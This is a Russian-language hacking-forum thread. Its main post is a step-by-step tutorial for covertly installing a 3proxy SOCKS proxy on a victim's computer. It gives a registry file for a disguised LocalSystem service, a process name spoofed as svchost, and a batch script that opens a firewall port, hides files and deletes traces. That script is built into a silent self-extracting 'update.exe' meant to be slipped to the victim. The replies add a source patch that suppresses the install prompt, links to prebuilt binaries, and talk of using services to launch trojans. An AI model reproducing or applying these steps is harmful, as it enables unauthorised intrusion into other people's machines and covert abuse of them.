PDA

Просмотр полной версии : Автозагрузка 3proxy и др. через службы


.dimoN.
17.07.2008, 20:46
Вобщем это моя первая статья и т.к. сам я новичок, то ничего особенного тут не будет.
Получив доступ к одному компу чайника в локалке мне захотелось поставить на нем прокси. Но как это сделать незаметно? Вот об этом я и расскажу. В сети полно различных прокси серверов, но мне был необходим максимально незаметный. Мой выбор остановился на 3proxy, т.к. все его настройки хранятся в отдельном файле, нет никаких значков в трее, возможность работы как служба. 3proxy поддерживает HTTP, SOCKSv4/SOCKSv4.5/SOCKSv5, FTP proxy и многое другое. Обо всех возможностях можете прочитать на 3proxy.ru

Сейчас большинство пользователей знают что многие программы прописывают себя в реестр для автозагрузки и периодически проверяют это с помощью msconfig или других программ, но на службы обращают внимание очень редко. Некоторые даже о них ничего не слышали… Немного о службах http://ru.wikipedia.org/wiki/Службы_Windows

Теперь качаем 3proxy тут (http://3proxy.ru/current/3proxy-0.6-devel.zip). Наш прокси в папке bin.
Установить как службу можно так
C:\Program Files\3proxy\3proxy.exe --install C:\Program Files\3proxy\3proxy.cfg
Но при этом выскакивает запрос с подтверждением
http://i073.radikal.ru/0807/e5/3993127a18ef.png (http://www.radikal.ru)
Поэтому такой вариант нам совсем не подходит и мы будем создавать службу вручную.
Все настройки служб хранятся в реестре HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es.

Параметры, которые необходимы для работы службы:
Description - описание службы
DisplayName - имя службы, отбражаемое в списке всех служб
ErrorControl - критичность ошибок службы для работы системы. Обычно устанавливают 0
ImagePath - путь к исполняемому файлу
ObjectName - имя пользователя, от которого будет запущена служба. Ставим LocalSystem чтоб запускать с правами system
Start - тип запуска. Для запуска при старте системы ставим 2.
Type - тип службы. Этот параметр отличает службы от драйверов. Здесь надо поставить значение 16 (десятичная)

Маскировка.
Переименовываем 3proxy.exe в svсhost.exe, НО букву с пишем русскую для того чтобы закинуть в system32. Файл конфигурации назовем например comand.drv Кстати о файле конфигурации, моей целью было поднять socks, поэтому пишем в нем следующее:
auth none
socks -p2323
Это значит что наш сокс не требует авторизации и будет работать на 2323 порту.
Составим reg-файл, записав туда все настройки нашей службы, причем нужно придумать параметры Description и DisplayName, а также название службы, которые не будут вызывать подозрений. У меня она будет называться Net client
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\Net client]
"Description"="Обеспечивает компьютеру доступ к сети TCP/IP"
"DisplayName"="Доступ к сети TCP/IP"
"ErrorControl"=dword:00000000
"ImagePath"="C:\\WINDOWS\\system32\\svсhost.exe C:\\WINDOWS\\system32\\comand.drv --service"
"ObjectName"="LocalSystem"
"Start"=dword:00000002
"Type"=dword:00000010

"ImagePath"="C:\\WINDOWS\\system32\\svсhost.exe C:\\WINDOWS\\system32\\comand.drv --service" В svchost буква с русская. Как видим тут указывается не только где расположен наш исполняемый файл, но и файл конфигурации и опция --service. Для каждой программы могут быть индивидуальные настройки, узнать можно либо из справки, либо установить себе и посмотреть ;)

Теперь напишем bat файл для невидимой установки нашей службы.
chcp 1251
netsh firewall add portopening TCP 2323 system
attrib +r +h +s C:\Windows\system32\svсhost.exe
attrib +r +h +s C:\Windows\system32\comand.drv
reg import st.reg
regedit /s st.reg
del "%userprofile%\Рабочий стол\update.exe" /f
del "%userprofile%\Мои документы\update.exe" /f
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\update.exe" /f
del "%userprofile%\Главное меню\Программы\Автозагрузк а\update.exe" /f
del C:\update.exe /f
del D:\update.exe /f
del E:\update.exe /f
del %SystemRoot%\system32\st.reg /f
del %SystemRoot%\system32\st.exe /f
//не забываем про svchost, буква с русская
Этот батник добавляет правило в фаерволл windows и разрешает соединение для порта 2323, устанавливает на файл svchost и comand.drv атрибуты скрытый, системный и только для чтения, импортирует настройки нашей службы. Остальные команды для удаления нашего будущего sfx архива, просто добавил под разлчные случаи. Если вы внимательно посмотрели на батник, то заметили что в последней команде есть файл st.exe, о котором я ничего не писал. Это и есть наш батник =] Все знают что когда батник срабатывает, то видно черное окно командной строки, которое вызывает много подозрений. Есть способ его спрятать. Для этого нам понадобится программа Quick Batch File Compiler (можете скачать тут (http://dump.ru/file_catalog/951838) ) Эта программа предназначена для преобразования bat в exe, а также есть офигенная функция – скрывать этот долбанный квадрат Малевича. Жмем option и выбираем Ghost application, затем заносим содержимое батника в прогу, жмем Build и сохраняем под именем st.exe
Все практически готово, осталось только собрать это в одну кучу. Берем наш svchost.exe, command.drv, st.reg, st.exe и все остальные файлы из папки bin, жмем добавить в архив, выбираем бес сжатия (для того чтоб быстрее сработал, хотя кому как нравится), отмечаем sfx архив, имя архива update.exe, затем переходим во вкладку дополнительно/параметры sfx. На вкладке Общие указываем путь для распаковки C:\WINDOWS\system32, в поле “Выполнить после распаковки” пишем C:\WINDOWS\system32\st.exe Теперь переходим в вкладку Режимы и отмечаем “Скрывать все” и “Пропускать существующие файлы”, жмем ок. Осталось только впарить наш файл жертве или если есть доступ к диску С закинуть в папку автозагрузка (в этом случае прокси заработает через две перезагрузки, автоматически удалив update.exe из папки автозагрузка).
Этот способ можно использовать для любой программы, которая умеет работать как служба (например радмин - https://forum.antichat.ru/thread13658.html и Telnet - https://forum.antichat.ru/thread68300.html )

Я решил проверить, что будет если подсунуть в качестве службы обычную прогу, например калькулятор :) При загрузке он запускается, но его не видно на экране. Затем винда через секнд 10-15 его отключает. Этого времени достаточно чтобы запустить например трой, но работает калькулятор или нет я так и не понял. Может он просто завис… Я снова открыл Quick Batch File Compiler и написал такой батник
echo Segodnya %date%:%time%>>c:\otchet.txt
При каждом запуске в файл будет дописываться строка с датой и временем. Подсунув такую прогу в качестве службы все сработало нормально, при каждой перезагрузке в файл добавлялась новая строка, значит службы можно использовать и для запуска троянов.
===================================
UPD: исправил кавычки, добавил видео. Скачать можно тут (http://narod.ru/disk/4843147000/3proxy.rar.html) или тут (http://webfile.ru/2985889)
pass: antichat.ru

vvs777
27.07.2008, 14:08
Хороший ликбез по установке служб...
+2
Я тож такой фигней одно время в локале страдал. Только другой сокс навешивал. И джоинить приходилось. правда над фаером не стебался =)

brain-m
03.09.2008, 16:27
В 3proxy-0.6-devel и 3proxy-0.5.3k отсутствует аргумент "--service". Справка выдаёт:
C:\3proxy --service
Usage: 3proxy [conffile]

3proxy --install [conffile]
to install as service

3proxy --remove
to remove service

3proxy tiny proxy server 3proxy-0.6b-devel (080826163128)
(c)2000-2007 3APA3A, Vladimir Dubrovin & 3proxy.ru
Documentation and sources: http://3proxy.ru/
Please read license agreement in 'copying' file.
You may not use this program without accepting license agreement

В чём может быть проблема?

.dimoN.
04.09.2008, 20:51
Читай внимательней
C:\Program Files\3proxy\3proxy.exe --install C:\Program Files\3proxy\3proxy.cfg

brain-m
06.09.2008, 12:34
Да, но в реестр в службы пишется: "ImagePath"=”C:\\WINDOWS\\system32\\svсhost.exe C:\\WINDOWS\\system32\\comand.drv --service”

Вот ещё такой вопрос: Ведь если у нас сам сервер ложится в каталог system32, то можно записать в реестр не абсолютный путь, а локальный. т.е. не "C:\\WINDOWS\\system32\\svсhost.exe" а просто "svсhost.exe" или нельзя? и соответственно можно ли писать не "C:\\WINDOWS\\system32\\comand.drv", а "comand.drv"??

n0153r
06.09.2008, 12:56
=) Хорошый мануал по 3прокси. почерпнул для себя немного.
По работе с лужбами интересненько.

FrMn
06.09.2008, 13:25
не у всех винда на c:, не у всех в папке windows.

brain-m
07.09.2008, 12:54
вот, а алгоритм и последовательность поиска требуемых файлов один:
1. Текущий каталог
2. Папка system32
3. Папка windows
если мне не изменят память. Так что всё должно работать и с относительными путями.

Кто-нибудь напишет результат выполнения у себя ”C:\\WINDOWS\\system32\\svсhost.exe C:\\WINDOWS\\system32\\comand.drv --service” или эквивалентов в вашем случае. У меня 3proxy идёт в отказ и говорит, что не понимает о чём я: о каком "--service"?

m-Xacker
08.09.2008, 22:59
Читай внимательней
C:\Program Files\3proxy\3proxy.exe --install C:\Program Files\3proxy\3proxy.cfg

Спасибо за прокси но её нужно дорабатывать, потому что в реестр нужно добавлять путь кодировке

"ImagePath"=hex(2):22,00,43,00,3a,00,5c,00,57,00,49,00,4e,00, 44,00,4f,00,57,00,\
53,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33 ,00,32,00,5c,00,73,00,79,\
00,73,00,74,00,65,00,6d,00,33,00,32,00,2e,00,65,00 ,78,00,65,00,22,00,20,00,\
22,00,43,00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f ,00,57,00,53,00,5c,00,73,\
00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00 ,63,00,6f,00,6d,00,61,00,\
6e,00,64,00,2e,00,64,00,72,00,76,00,22,00,20,00,2d ,00,2d,00,73,00,65,00,72,\
00,76,00,69,00,63,00,65,00,00,00

а так просто он не добавляеться C:\\WINDOWS\\system32\\svсhost.exe C:\\WINDOWS\\system32\\comand.drv --service”

Ps почти у все стоит виндовс на диске С))

t4Nk
09.09.2008, 01:54
а я исправлял исходники, чтоб не выводило запрос на установку :d
зы
C:\\windows можно заменить на %windir% чтоб универсальнее было ;)

schwarze
08.12.2008, 19:51
Молодец что исправил, может поделишься?

zeonx
15.12.2008, 01:08
Пробовал делать все как сказано в статье ничего не работает, может кто подскажет, как надо делать, в Imagepath= кавычки нужны к путям?(или это неважно?), вообще как запустить на своем компе? что в статье неправильно? скажите люди добрые за репу..

satana8920
15.12.2008, 02:27
ненаю статья не понравилась потому что ну чем она от мана отличаться на офф сайте тем что ты перевел на руский?

t4Nk
29.12.2008, 20:37
чтобы при установке как службы не выводило окошко с запросом - комментируем в файле 3proxy.c
1791 строку для 3proxy 0.6-dev
//if(MessageBox(NULL, (char *)tmpbuf, stringtable[2], MB_YESNO|MB_ICONASTERISK) != IDYES) return 1;
или 1555 для 3proxy-0.5.3k

//if(MessageBox(NULL, (char *)tmpbuf, conf.stringtable[2], MB_YESNO|MB_ICONASTERISK) != IDYES) return 1;

потом собираем и устанавливаем ;)

WALKMAN
05.01.2009, 22:25
потом собираем и устанавливаем ;)

Вот собственно тут я и застрял, скачал исходники 3proxy-0.6-deve, нашел 3proxy.c , нашел строку, закоментировал ее, при компиляции 3proxy.с получил множественные ошибки.
Собственно как всю ету програмулину собрать до кучи? Как откомпилировать? :confused:

$ereg@
06.01.2009, 20:43
выложите ктонить эту вещь в собранном виде пж :)

$ereg@
07.01.2009, 12:51
"ImagePath"=”C:\\WINDOWS\\system32\\svсhost.exe C:\\WINDOWS\\system32\\comand.drv --service”
помоему ковычки не правильные, так путь до файла не пропишеться ...

.dimoN.
08.01.2009, 01:13
"ImagePath"=”C:\\WINDOWS\\system32\\svсhost.exe C:\\WINDOWS\\system32\\comand.drv --service”
помоему ковычки не правильные, так путь до файла не пропишеться ...
да, тут должны быть обычные кавычки. завтра добавлю видео

$ereg@
08.01.2009, 21:52
а у меня из-за этих ковычек не получалось всё вместе собрать. всё прально делал, потом редактор реестра открываю, а там пути к серверу нет... ну а потом эти ковычки заметил) вопщем у меня всётаки получилос собрать эту вещь :D

.dimoN.
08.01.2009, 22:22
видео в 1 посте

zeonx
09.01.2009, 23:22
http://depositfiles.com/files/hz7iiyfze вот если кому нужен готовый прокси настроенный, закинул запустил и наслаждайся, тока прокси без пароля

ZeLiK
10.01.2009, 22:27
Тоже интересовался данной тематикой, при этом был доступ через РАдмин.
Среди софта нашёл MyProxy (http://myproxy.desofto.com/index_ru.htm)
При установке поумолчанию помещается в автозапуск. Но мы же внедряем, а не инсталим ))
Можно запустить с параметрами, при этом не будет ни значка, ни интерфейса (диалоговых окон и т.д.).
Новые версии полны опциями, для меня же был интересен только выход в инет через этот прокси.
Далее пытался реализовать внедрение в виндусный (xp) фаервол строки, разрешающей нашу проксю.
Почти получилось, но у автора статьи явно лучше вариант. Жаль не видел статью раньше :)
Респект ;)
Так же хочу добавить об относительных путях, которые можно использовать очень даже хорошо "%SystemRoot%system32" и т.д.
На крайняк проверку сделать на региональную принадлежность, т.е. русская винда иль английская иль ещё какая...
По поводу помещения в автозагрузку, мб я чёт не допонял:
если есть доступ к диску С закинуть в папку автозагрузка (в этом случае прокси заработает через две перезагрузки, автоматически удалив update.exe из папки автозагрузка).
Почему на стадии распаковки/запуска exe нельзя запустить код на добавление в автозагрузку?
Вобщем предложений сказано много, умолкаю ;)
Если OffTop, прошу извинить ;)

shadextx
28.01.2009, 11:02
Статья отличная, всё чётко и понятно, автору респект.
Вот тока у меня служба не хочет запускаться, пишет "Ошибка 1053: Служба не ответила на запрос своевременно"
Подскажите в чём может быть проблема.

andre344
03.02.2009, 16:19
а если бы в архивчек еще добавить прогу которая бы соомбщала бы о семени ипа на зараженной тачке ваще было бы супер:) никто не знает как это сделать?:)

andre344
03.02.2009, 18:14
а если бы в архивчек еще добавить прогу которая бы соомбщала бы о семени ипа на зараженной тачке ваще было бы супер:) никто не знает как это сделать?:)

ну ктонибудь подскажите плз:)

ira
27.02.2009, 00:41
Пожалуйста перезалейте видео, не работают ссылки

.dimoN.
27.02.2009, 01:51
Пожалуйста перезалейте видео, не работают ссылки
http://webfile.ru/2985889

_MaxON_
29.04.2009, 18:03
Помогите!!! Мне нужно установить этот прокси на компьютере жертвы, чтоб через него можна было заходить в интернет. Я все сделал как в видео, но при попытке подключиться к интернету, браузер грузит какой-то файл default и больше ничего не происходит :(. Подскажите пожалуйста что нужно исправить.

.dimoN.
29.04.2009, 20:19
Помогите!!! Мне нужно установить этот прокси на компьютере жертвы, чтоб через него можна было заходить в интернет. Я все сделал как в видео, но при попытке подключиться к интернету, браузер грузит какой-то файл default и больше ничего не происходит :(. Подскажите пожалуйста что нужно исправить.
ставь firefox и дополнение к нему foxyproxy. opera не умеет работать с socks

_MaxON_
29.04.2009, 23:06
ставь firefox и дополнение к нему foxyproxy. opera не умеет работать с socks

Установил foxyproxy, в настройках поставил адрес жертвы, порт 2323, включил socks proxy, но ничего не работает. Что не так, обьясните??

.dimoN.
29.04.2009, 23:34
Установил foxyproxy, в настройках поставил адрес жертвы, порт 2323, включил socks proxy, но ничего не работает. Что не так, обьясните??
сложно сказать. напиши подробнее, пингуется ли комп, работает ли foxyproxy с другим соксом, может у тебя фаер блокирует соединеие, что это вообще за комп на который ты прокси повесил и может у него нет выхода в интернет... вообще много причин может быть

_MaxON_
30.04.2009, 11:31
сложно сказать. напиши подробнее, пингуется ли комп, работает ли foxyproxy с другим соксом, может у тебя фаер блокирует соединеие, что это вообще за комп на который ты прокси повесил и может у него нет выхода в интернет... вообще много причин может быть

Это комп в локальной сети, у которого есть выход в интернет. На нем установлен User Gate и если настроить мой комп на работу через порт 8080 без socks тогда у меня все работает. Но когда в firefox ставлю порт 2323 и socks то подключение не происходит. Но если снять галочку socks то загружаеться файл. Если б что-то было не так, он бы тоже грузился бы??

delasoul
19.07.2009, 07:48
dimoN.
statja ochen ponrawilsa respekt! i plus ot menja swejis somnoj delische jest;) u tebja w PS smotri kak somnoj swizatca

gaiverq3
03.08.2009, 08:07
вопрос по настройки 3proxy
у меня есть внутреений прокси сервер (3proxy) и есть платный прокси сервер в инете, как мне настроить внутренний что бы весь трафик локалки пускался через платный прокси сервер в инете.

xa-xa89
03.08.2009, 18:46
каскадной подключение.копай в эту стороную

-=ReD_DeviL=-
15.10.2009, 18:14
статья кул как раз для хакеров таких как я нубов)))

buxar
28.11.2009, 05:31
на линукс сервер никто не подскажет как автозапуск 3proxy сделать?

InFlame
17.12.2009, 20:50
Обычные программы типа Netcat, как я понял, не получится добавить к службам? При запуске пишет "Служба не ответила на запрос своевременно".

aleexey
13.01.2010, 22:00
код на добавление в автозагрузку

ктонить скажите пож как его написать?

Platon
01.04.2010, 20:07
t4Nk - поделись пожалуйста собранным exe файлом для WinXP - без запроса на установку! Спасибо!

t4Nk
02.04.2010, 15:01
Platon, вот собрал последнюю версию. убрал запрос и сделал прокси анонимным.
http://slil.ru/28897256
пароль antichat

Platon
02.04.2010, 19:28
t4Nk - спасибо огромное! Плюсую!